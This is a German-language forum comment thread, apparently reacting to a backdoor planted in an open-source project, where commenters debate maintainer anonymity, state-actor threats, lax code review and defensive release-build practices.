  • Die Lehre aus diesem Vorfall könnte sein, dass man zentralen Beitragenden wichtiger Open-Source-Projekte vielleicht keine Anonymität erlauben sollte. Dieser Angriff war erfolgreich, und der Angreifer wird vermutlich ohne Konsequenzen davonkommen, weil er anonym war.

    • Ich widerspreche.
      Eine solche Maßnahme würde nicht helfen, und staatliche Akteure oder ähnliche Advanced Persistent Threats könnten sie leicht umgehen, indem sie der Angriffskette einfach noch Identitätsdiebstahl hinzufügen oder Agenten einsetzen, die auch dann geschützt sind, wenn eine Backdoor entdeckt wird.
      Gleichzeitig würden die technischen Hürden, die für solche Verfahren nötig wären, der gesamten Open-Source-Community wahrscheinlich erheblich schaden.
      Die Lösung besteht darin, aus diesem Angriff zu lernen und Praktiken so zu ändern, dass ähnliche Angriffe schwieriger werden. Dateien, die nicht im Repository sind, sollten niemals in Release-Tarballs gelangen. Der daraus erzeugte Code sollte vollständig eingecheckt werden, und Build-Skripte sollten abgeleiteten Code erneut erzeugen und fehlschlagen, wenn er vom eingecheckten Code abweicht. Schwer verständliche Daten sollten während des Release-Build-Prozesses nicht zugänglich sein, und Tests, die von binären Daten abhängen, sollten vollständig getrennt von den Release-Binaries gebaut werden.
    • Es gibt zwei Probleme.
      Erstens bevorzugen viele wichtige Beitragende, insbesondere im Sicherheitsbereich, aus guten Gründen pseudonymes Arbeiten. Wenn man sie zwingt, ihre Identität offenzulegen, vertreibt man sie.
      Zweitens: Wenn, wie viele vermuten, ein Geheimdienst dahintersteckt, kann so eine Organisation ohnehin „echte“ Identitäten erzeugen. Am Ende schließt man hilfreiche Menschen aus, aber nicht die Angreifer.
    • Es ist nicht nur unmöglich durchzusetzen, sondern vielleicht auch keine gute Idee. Denn wenn die Identität von Maintainern wichtiger Open-Source-Projekte bekannt ist, wird es einfacher, Druck auf sie auszuüben.
    • Wenn das ein staatlicher Akteur ist, und danach sieht es wirklich aus, welche Verifikation kann man dann durchführen? Führerschein, Sozialversicherungsnummer, nationaler Ausweis, Reisepass – was auch immer, sie könnten legitime Dokumente erstellen.
      Wenn eine Regierung beteiligt ist, gibt es keine Grenzen. Die einzige Möglichkeit wäre, physische Anwesenheit an einem vertrauenswürdigen Ort zu verlangen und dann zu hoffen, dass dieser Ort nicht der Gerichtsbarkeit des Angreifers unterliegt.
    • Wer bestimmt was als wichtiges Projekt?
      Wenn jemand eine Bibliothek erstellt und andere anfangen, sie zu nutzen, wird diese Person dann gezwungen, ihre Identität offenzulegen? Wird der Maintainer bezahlt?
  • Wer schon einmal in der Softwareentwicklung gearbeitet hat, ob Closed oder Open Source, weiß, dass Entwickler PRs zur Hälfte einfach aus Bequemlichkeit abnicken. Linus Torvalds ist eher die seltene Ausnahme, die den ganzen Tag auf Probleme hinweist.

    • Zustimmung.
      Wenn jemand tatsächlich so anspruchsvoll ist, dass er gründlich darauf achtet, gilt diese Person schnell als nerviger Blockierer der Entwicklung. Weil sie pingelig ist, entstehen Spannungen im Team.
      Zur Offenlegung: Ich bin derzeit in einer ähnlichen Situation. Nicht ich bin der pingelige Teil, sondern einer der Entwickler, die ich eingestellt habe. Leider wurde sein gewissenhaftes Verhalten nicht gut aufgenommen, sodass ich ihn aus dem Team nehmen musste. Dass er aus Osteuropa kommt und Feedback sehr direkt gibt, hat auch nicht geholfen.
  • Unix-Utilities sind seit Langem erprobt. Ich wünschte, der Kernel und die zentralen Utilities würden eingefroren und nicht mehr verändert, sofern es nicht wirklich nötig ist.
    Wenn es nicht kaputt ist, repariere es nicht. Das Software-Imperium wirkt außer Kontrolle.

    • Sie sind alle kaputt. Sie sind das Ergebnis schneller Hacks, die heute irgendwie funktionieren sollten und sich über 50 Jahre und eine Million Entwickler hinweg angesammelt haben.
      Es gibt gelegentlich glänzende Beispiele dafür, dass etwas richtig gebaut wurde, aber insgesamt kann man wohl sagen, dass solche Dinge völlig verdrängt wurden.